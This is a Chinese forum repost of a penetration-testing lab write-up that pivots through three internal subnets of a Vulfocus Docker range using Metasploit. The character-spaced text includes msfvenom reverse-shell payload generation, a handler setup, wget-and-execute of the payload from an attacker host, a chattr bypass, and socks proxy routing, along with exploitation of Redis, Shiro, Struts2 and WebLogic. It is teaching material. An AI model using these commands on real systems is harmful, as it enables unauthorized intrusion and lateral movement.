搜索

[26768] 2021-08-28_MSF内网漫游

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-08-28_MSF内网漫游 1 2 3 M S F 内 网 漫 游 原 创   夏 天   m o o n s e c   2 0 2 1 - 0 8 - 2 8 收 录 于 话 题   # 渗 透 测 试   免 杀   红 队   , 2 3 个 M S F 内 网 漫 游 内 网 漫 游 环 境 介 绍 环 境 介 绍 1 .   简 单 介 绍 ： 拓 扑 图 ： 靶 场 介 绍 ： c e n t o s 7 ( d o c k e r ) ( 虚 拟 机 网 卡 W m n e t 8 ) ( I P : 1 9 2 . 1 6 8 . 5 8 . 1 2 8 ) ， d o c k e r 镜 像 v u l f o c u s ， 内 网 I P 网 段 ( 1 0 . 0 . 0 . 0 / 2 4 ) ( 2 0 . 0 . 0 . 0 / 2 4 ) ( 3 0 . 0 . 0 . 0 / 2 4 ) 攻 击 机 ： w i n d o w s 1 0 ( 虚 拟 机 网 卡 W m n e t 8 ) ( I P : 1 9 2 . 1 6 8 . 5 8 . 1 ) ， V P S ( 在 公 网 里 的 云 主 机 ) ( 有 公 网 I P ) 2 .   搭 建 过 程 V m 虚 拟 机 安 装 c e n t o s 7 ， 安 装 d o c k e r V u l f o c u s ， 链 接 ： h t t p s : / / g i t h u b . c o m / f o f a p r o / v u l f o c u s V u l f o c u s 安 装 配 置 链 接 都 有 说 所 用 工 具 所 用 工 具 M s f c o n s o l e ， P r o x i f i e r ， N m a p ， N C ， p r o x y c h a i n s ， 各 种 漏 洞 利 用 工 具 漫 游 开 始 漫 游 开 始 很 详 细 的 m s f 漫 游 哦 ~
1 .   正 片 开 始 边 界 服 务 器 的 地 址 为 ： 1 9 2 . 1 6 8 . 5 8 . 1 2 8 : 1 3 0 0 7 使 用 n m a p 探 测 服 务 R e d i s 服 务 测 试 ， r e d i s 未 授 权 漏 洞 测 试 存 在 后 我 们 直 接 弹 n c s h e l l 拿 到 了 第 一 个 f l a g i f c o n i g 发 现 了 第 一 个 内 网 网 段 为 ： 1 0 . 0 . 0 . 0 / 2 4 为 了 方 便 我 们 就 使 用 m s f 上 线 的 方 式 做 内 网 代 理 在 V P S 上 开 启 m s f c o n s o l e n m a p - s T   - s V   - P n   - n   - p 1 3 0 0 7   1 9 2 . 1 6 8 . 5 8 . 1 2 8   - T 4   – o p e n
生 成 l i n u x 木 马 在 M S F 上 配 置 监 听 使 用 p y t h o n 3 - m   h t t p . s e r v e r   8 0 0 8 开 启 w e b 服 务 器 供 下 载 l i n u x 马 成 功 上 线 查 看 路 由 m s f v e n o m - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = x x x . x x x . x x x . x x x   L P O R T = 9 9 9 - f   e l f   >   s h e l l . e l f u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   0 . 0 . 0 . 0 s e t l   p o r t   9 9 9 w g e t   h t t p : / / x x x x x x x x x x x x : 8 0 0 8 / s h e l l . e l f c h m o d + x   s h e l l . e l f . / s h e l l . e l f
添 加 路 由 r o u t e a d d   1 0 . 0 . 0 . 0     2 5 5 . 2 5 5 . 2 5 5 . 0   1 ( r o u t e a d d   [ 目 标 网 段 ] [ 掩 码 ] [ s e s s i o n s   i d ] ) 使 用 M S F 开 启 s o c k s 5 代 理 u s e a u x i l i a r y / s e r v e r / s o c k s _ p r o x y 配 置 P r o x i f i e r 代 理 代 理 j a v a ， 用 为 后 面 所 用 的 工 具 使 用 都 是 j a v a 写 的
代 理 隧 道 搭 建 好 之 后 开 始 n m a p 扫 描 内 网 主 机 ( 注 意 ： 一 定 要 禁 p i n g 扫 描 ， s o c k s 5 不 代 理 i c m p 流 量 ) 扫 描 时 间 过 长 就 先 跳 过 1 0 . 0 . 0 . 0 / 2 4 内 网 另 外 一 台 机 器 的 I P ： 1 0 . 0 . 0 . 3 端 口 ： 8 0 8 0 代 理 c m d . e x e n m a p 扫 描 目 标 8 0 8 0 端 口 的 服 务 ( 右 击 c m d . e x e - > 选 择 P r o x y s o c k s   x x x . x x x . x x x . x x x ) 代 理 给 到 浏 览 器 访 问 一 下 两 种 方 式 一 种 像 上 面 c m d . e x e 一 样 右 击 选 择 即 可 另 外 一 种 就 是 用 浏 览 器 插 件 ( S w i t c h y O m e g a ) n m a p   - s T   - s V   - P n   - n   - p 1 - 6 5 5 3 5   1 0 . 0 . 0 . 0 / 2 4   - T 4 –   o p e n n m a p - s T   - s V   - P n   - n   - p 8 0 8 0   1 0 . 0 . 0 . 3   - T 4   – o p e n
看 来 是 S h i r o 反 序 列 化 的 漏 洞 上 工 具 一 把 梭 ( 注 ： 这 里 打 开 工 具 是 在 c m d 下 j a v a – j a r   x x x . j a r ， 我 这 里 不 知 道 为 什 么 双 击 打 开 的 不 走 P r o x i f i e r 代 理 ) 也 可 以 使 用 工 具 内 的 代 理 I p a 看 到 了 2 0 . 0 . 0 . 0 / 2 4 的 网 段 还 是 使 用 w g e t 上 马 并 执 行 m s f 代 理 2 0 . 0 . 0 . 0 网 段 w g e t h t t p : / / x x x x x x x x x x : 8 0 0 8 / s h e l l . e l f
在 这 里 2 0 . 0 . 0 . 0 走 的 还 是 的 上 面 配 置 的 s o c k s 5 代 理 一 个 代 理 通 两 个 网 段 ， M S F 才 是 y y d s 还 是 使 用 n m a p 扫 描 2 0 . 0 . 0 . 0 / 2 4 网 段 ， 时 间 长 我 们 跳 过 2 0 . 0 . 0 . 0 / 2 4 网 段 内 的 主 机 I P ： 2 0 . 0 . 0 . 2 端 口 ： 8 0 8 0 这 里 是 S 2 - 0 0 1 的 洞 ， 上 工 具 一 把 梭 在 这 里 找 到 了 第 三 层 网 段 3 0 . 0 . 0 . 0 / 2 4 照 旧 上 M S F ( 解 释 一 下 这 里 为 什 么 要 做 三 层 内 网 的 靶 场 ， 因 为 两 层 的 代 理 用 代 理 工 具 套 娃 就 可 ， 但 代 理 工 具 套 娃 只 限 于 内 网 工 具 的 多 少 ， 而 M S F 一 条 路 由 全 部 搞 定 )
这 里 有 一 个 坑 明 明 是 r o o t 权 限 却 不 能 对 我 们 的 马 加 执 行 权 限 解 决 方 法 c h a t t r   - i   s h e l l . e l f c h m o d   + x   s h e l l . e l f
最 后 一 个 目 标 机 器 I P ： 3 0 . 0 . 0 . 2 端 口 ： 7 0 0 1 W e b l o g i c 的 漏 洞 最 后 一 个 拿 到 f l a g 完 结
4 关 注 关 注 关 注 本 公 众 号 关 注 本 公 众 号   不 定 期 更 新 文 章 和 视 频 不 定 期 更 新 文 章 和 视 频 欢 迎 前 来 关 注 欢 迎 前 来 关 注
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理